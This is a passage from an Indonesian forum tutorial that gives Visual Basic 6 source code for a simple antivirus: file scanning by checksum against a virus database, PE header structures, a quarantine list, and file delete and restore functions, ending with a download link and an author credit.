Dim hImgLrg&: hImgLrg = SHGetFileInfo(icPath$, 0&, SIconInfo, Len(SIconInfo), BASIC_SHGFI_FLAGS Or SHGFI_LARGEICON)
ImageList_Draw hImgLrg, SIconInfo.iIcon, pDisp.hDC, 0, 0, ILD_TRANSPARENT
End Sub

kode di atas di butuhkan untuk metode heuristic icon pada antivirus

Buat 1 module dengan nama modLV
lalu masukan code di bawah ini

Code:
Public Function GetSelected(TheLV As ListView)
Dim Sel As String
For i = 1 To TheLV.ListItems.Count
If TheLV.ListItems.Item(i).Checked = True Then
Sel = Sel & "|" & TheLV.ListItems.Item(i).SubItems(1)
End If
Next
GetSelected = Sel
End Function

Public Function SelectedAll(TheLV As ListView)
For i = 1 To TheLV.ListItems.Count
TheLV.ListItems.Item(i).Checked = True
Next
End Function

Public Function SelectedNone(TheLV As ListView)
For i = 1 To TheLV.ListItems.Count
TheLV.ListItems.Item(i).Checked = False
Next
End Function

Public Function GetIndex(TheLV As ListView, Data As String) As Integer
For i = 1 To TheLV.ListItems.Count
If TheLV.ListItems.Item(i).SubItems(1) = Data Then
GetIndex = i
End If
Next
End Function

Public Function UnSelect(TheLV As ListView, Data As String)
For i = 1 To TheLV.ListItems.Count
If TheLV.ListItems.Item(i).SubItems(3) = Data Then
TheLV.ListItems.Item(i).Checked = False
End If
Next
End Function

Public Function AddDetect(TheLV As ListView, FilePath As String, VirData As String)
With TheLV
If Left(VirData, 9) <> "Malicious" Then
Set lvItm = .ListItems.Add(, , Split(VirData, "|")(0), , frmUtama.ImgSmall.ListImages(1).Index)
lvItm.SubItems(1) = FilePath
lvItm.SubItems(2) = Split(VirData, "|")(1)
lvItm.SubItems(3) = "Virus File"
Else
Set lvItm = .ListItems.Add(, , VirData, , frmUtama.ImgSmall.ListImages(1).Index)
lvItm.SubItems(1) = FilePath
lvItm.SubItems(2) = GetChecksum(FilePath)
lvItm.SubItems(3) = "Virus File"
End If
End With
End Function

Code di atas berguna untuk dengatur Listview pada saat virus terdeteksi

Buat 1 module dengan nama modPE
lalu masukan code di bawah ini

Code:
Public Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(1 To 4) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(1 To 10) As Integer
e_lfanew As Long
End Type

Public Type IMAGE_SECTION_HEADER
nameSec As String * 6
PhisicalAddress As Integer

VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long

End Type

Public Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
size As Long
End Type

Public Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Win32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Public Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type

Public Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Public Type IMAGE_EXPORT_DIRECTORY
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
Name As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
AddressOfFunctions As Long
AddressOfNames As Long
AddressOfNameOrdinals As Long
End Type

Public Type IMAGE_IMPORT_DESCRIPTOR
OriginalFirstThunk As Long
TimeDateStamp As Long
ForwarderChain As Long
Name As Long
FirstThunk As Long
End Type

Public Type IMAGE_IMPORT_BY_NAME
Hint As Integer
Name As String * 255
End Type

Public Const IMAGE_SIZEOF_SECTION_HEADER = 40
Public Const IMAGE_DOS_SIGNATURE = &H5A4D
Public Const IMAGE_NT_SIGNATURE = &H4550
Public Const IMAGE_ORDINAL_FLAG = &H80000000

Public Enum SECTION_CHARACTERISTICS
IMAGE_SCN_LNK_NRELOC_OVFL = &H1000000 'Section contains extended relocations.
IMAGE_SCN_MEM_DISCARDABLE = &H2000000 'Section can be discarded.
IMAGE_SCN_MEM_NOT_CACHED = &H4000000 'Section is not cachable.
IMAGE_SCN_MEM_NOT_PAGED = &H8000000 'Section is not pageable.
IMAGE_SCN_MEM_SHARED = &H10000000 'Section is shareable.
IMAGE_SCN_MEM_EXECUTE = &H20000000 'Section is executable.
IMAGE_SCN_MEM_READ = &H40000000 'Section is readable.
IMAGE_SCN_MEM_WRITE = &H80000000 'Section is writeable.
End Enum

Public Enum IMAGE_DIRECTORY
IMAGE_DIRECTORY_ENTRY_EXPORT = 0 ' Export Directory
IMAGE_DIRECTORY_ENTRY_IMPORT = 1 ' Import Directory
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 ' Resource Directory
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 ' Exception Directory
IMAGE_DIRECTORY_ENTRY_SECURITY = 4 ' Security Directory
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 ' Base Relocation Table
IMAGE_DIRECTORY_ENTRY_DEBUG = 6 ' Debug Directory
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 ' Architecture Specific Data
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 ' RVA of GP
IMAGE_DIRECTORY_ENTRY_TLS = 9 ' TLS Directory
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 ' Load Configuration Directory
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 ' Bound Import Directory in headers
IMAGE_DIRECTORY_ENTRY_IAT = 12 ' Import Address Table
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 ' Delay Load Import Descriptors
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 ' COM Runtime descriptor
End Enum

code di atas berfungsi untuk pengecekan PE HEADER

buat 1 module dengan nama modScanning
lalu tambahkan code di bawah ini

Code:
Public jumlahDir As Long, jumlahFile As Long, jumlahVirus As Long
Public StopScan As Boolean

Public Function CekVirus(FilePath As String) As String
CekVirus = ""
For i = 1 To UBound(VirusDB)
If GetChecksum(FilePath) = Split(VirusDB(i), "|")(1) Then
CekVirus = VirusDB(i)
Exit Function
End If
Next
If FileLen(FilePath) / 1024 <= 512 Then
CekVirus = CekHeuristic(FilePath)
End If
End Function

Public Sub FindFilesEx(ByVal lpFolderName As String, ByVal SubDirs As Boolean)
Dim i As Long
Dim hSearch As Long, WFD As WIN32_FIND_DATA
Dim Result As Long, CurItem As String
Dim tempDir() As String, dirCount As Long
Dim RealPath As String, GetViri As String

GetViri = ""
dirCount = -1

ScanInfo = "Scan File"

If Right$(lpFolderName, 1) = "\" Then
RealPath = lpFolderName
Else
RealPath = lpFolderName & "\"
End If

hSearch = FindFirstFile(RealPath & "*", WFD)
If Not hSearch = INVALID_HANDLE_VALUE Then
Result = True
Do While Result
DoEvents
If StopScan = True Then Exit Do
CurItem = StripNulls(WFD.cFileName)
If Not CurItem = "." And Not CurItem = ".." Then
If PathIsDirectory(RealPath & CurItem) <> 0 Then
jumlahDir = jumlahDir + 1
frmUtama.lblDirScan.Caption = jumlahDir
If SubDirs = True Then
dirCount = dirCount + 1
ReDim Preserve tempDir(dirCount) As String
tempDir(dirCount) = RealPath & CurItem
End If
Else
jumlahFile = jumlahFile + 1
frmUtama.lblFileScan.Caption = jumlahFile
frmUtama.txtFileScan.Text = RealPath & CurItem
frmUtama.txtFileScan.SelStart = Len(frmUtama.txtFileScan.Text)
If WFD.nFileSizeLow > 5120 Or WFD.nFileSizeHigh > 5120 Then
GetViri = CekVirus(RealPath & CurItem)
If GetViri <> "" Then
AddDetect frmUtama.lvScan, RealPath & CurItem, GetViri
jumlahVirus = jumlahVirus + 1
frmUtama.lblFileDet.Caption = jumlahVirus
End If
End If
End If
End If
Result = FindNextFile(hSearch, WFD)
Loop
FindClose hSearch

If SubDirs = True Then
If dirCount <> -1 Then
For i = 0 To dirCount
FindFilesEx tempDir(i), True
Next i
End If
End If
End If
End Sub

Code di atas adalah code untuk scan file & folder pada antivirus

buat 1 module dengan nama modEtc
masukan code di bawah ini

Code:
Public Function Action(Data As String, TheLV As ListView, Mode As String)
Dim Filedata() As String
Dim fName, tmp, Status As String
Dim y As Integer
Filedata = Split(Data, "|")
For i = 1 To UBound(Filedata)
a = a + 1
If Mode = "Q" Then
fName = GetFileName(Filedata(i))
EncodeFile Filedata(i), AppPath & "Quarantine\" & Left$(fName, Len(fName) - Len(GetExt(Filedata(i)))) & ".avq"
AddQList TheLV, Filedata(i), Left$(fName, Len(fName) - Len(GetExt(Filedata(i)))) & ".avq"
DeleteFile Filedata(i)
Status = "Di Karantina"
ElseIf Mode = "D" Then
DeleteFile Filedata(i)
Status = "Di Hapus"
End If
y = GetIndex(TheLV, Filedata(i))
With TheLV.ListItems.Item(y)
.SubItems(3) = Status
.Checked = False
.SmallIcon = frmUtama.ImgSmall.ListImages(2).Index
End With
Next
Action = a
End Function

Public Function AddQList(TheLV As ListView, FilePath As String, Source As String)
Dim Dat As String
Dat = AppPath & "Quarantine\HN.dat"
If PathFileExists(Dat) <> 0 Then
Open Dat For Input As #1
Input #1, isi
Close #1
DeleteFile Dat
Else
isi = ""
End If
namavir = TheLV.ListItems(GetIndex(TheLV, FilePath))
If InStrRev(isi, Source, , vbTextCompare) = 0 Then
Open Dat For Output As #2
Print #2, isi & "|" & namavir & "?" & FilePath & "?" & Source
Close #2
Else
Open Dat For Output As #3
Print #3, isi
Close #3
End If
End Function

Public Function GetFileName(PathFile As String) As String
Dim i As Long
Dim DirString As Long
For i = 1 To Len(PathFile)
If Mid$(PathFile, i, 1) = "\" Then DirString = i
Next i
GetFileName = Right$(PathFile, Len(PathFile) - DirString)
End Function

Public Function GetExt(ByVal lpFileName As String)
Dim sTemp As String
Dim i As Long
sTemp = GetFileName(lpFileName)
If InStr(lpFileName, ".") Then
For i = 0 To Len(sTemp) - 1
If Mid$(sTemp, Len(sTemp) - i, 1) = "." Then
GetExt = Mid$(sTemp, Len(sTemp) - i, i)
Exit Function
End If
Next i
End If
End Function

Code di atas adalah kumpulan fungsi etc untuk scanning,karantina,delete
[/php]
sekarang tinggal cara membuat form quarantinenya

setelah form baru sudah di buat,lalu rubah nama formnya menjadi frmQuarantine

Tambah 1 buah listview dengan nama lvQ
lalu setting listview tersebut sesuai dengan gambar di bawah ini,cara setting listview sudah tertera di postingan ke #1

Tambahkan 3 buah Command button dengan nama

- cmdDelete
- cmdRestore
- cmdRestore(1)

Tambahkan code di bawha ini ke dalam Command [ cmdDelete ]

Code:
If lvQ.ListItems.Count = 0 Then Exit Sub
Dim Data() As String
If PathFileExists(Dat) <> 0 Then
Open Dat For Input As #1
Input #1, isi
Close #1
DeleteFile Dat
Else
isi = ""
End If
Data = Split(isi, "|")
For i = 1 To UBound(Data)
namafile = lvQ.SelectedItem.SubItems(2)
If namafile <> Split(Data(i), "?")(1) Then
nyu = nyu & "|" & Data(i)
End If
Next
DeleteFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1)
Open Dat For Output As #2
Print #2, nyu
Close #2
MsgBox "Success Deleting File !!!", vbInformation, ""
UpdateQ

code di atas berfungsi untuk menghapus file yang telah di karantina

Masukan code di bawah ini ke Command [ cmdRestore ]


Code:
If lvQ.ListItems.Count = 0 Then Exit Sub
Select Case Index
Case 0
DecodeFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1), lvQ.SelectedItem.SubItems(2)
MsgBox "File Restored to " & Chr(34) & lvQ.SelectedItem.SubItems(2) & Chr(34) & " !!!", vbInformation, ""
Case 1
sTitle = "Select path:" & vbNewLine & "Select path to restore file."
ThePath = BrowseFolder(sTitle, Me)
If ThePath <> "" Then
DecodeFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1), ThePath & GetFileName(lvQ.SelectedItem.SubItems(2))
MsgBox "File Restored to " & Chr(34) & ThePath & GetFileName(lvQ.SelectedItem.SubItems(2)) & Chr(34) & " !!!", vbInformation, ""
End If
End Select
Fungsi code di atas berguna untuk me restore file kembali ke asalnya

Lalu pada Form_Load() tambahkan code di bawah ini
Code:
frmUtama.Enabled = False
Dat = AppPath & "Quarantine\HN.dat"
UpdateQ

Masukan code di bawah ini ke dalam frmQuarantine

Code:
Dim Dat As String
Private Sub UpdateQ()
lvQ.ListItems.Clear
Dim Data() As String
If PathFileExists(Dat) = 0 Then Exit Sub
Open Dat For Input As #1
Input #1, isi
Close #1
Data = Split(isi, "|")
For i = 1 To UBound(Data)
With lvQ.ListItems.Add(, , Split(Data(i), "?")(0))
.SubItems(1) = Split(Data(i), "?")(2)
.SubItems(2) = Split(Data(i), "?")(1)
End With
Next
Me.Caption = "Quarantine (" & lvQ.ListItems.Count & ")"
End Sub

Berfungsi untuk memanggil data yang ada di folder karantina


Nah sudah selesai kita membuat antivirusnya

Untuk mendownload source code lengkapnya dapat di download di :

http://adf.ly/OuOM


cukup sekian tutorial membuat antivirus dari aye,semoga berguna untuk semua kawan" di Forum ini ^^

smangatsmangat

maaf bang klo g da SS nya bang


source code by :Mydisha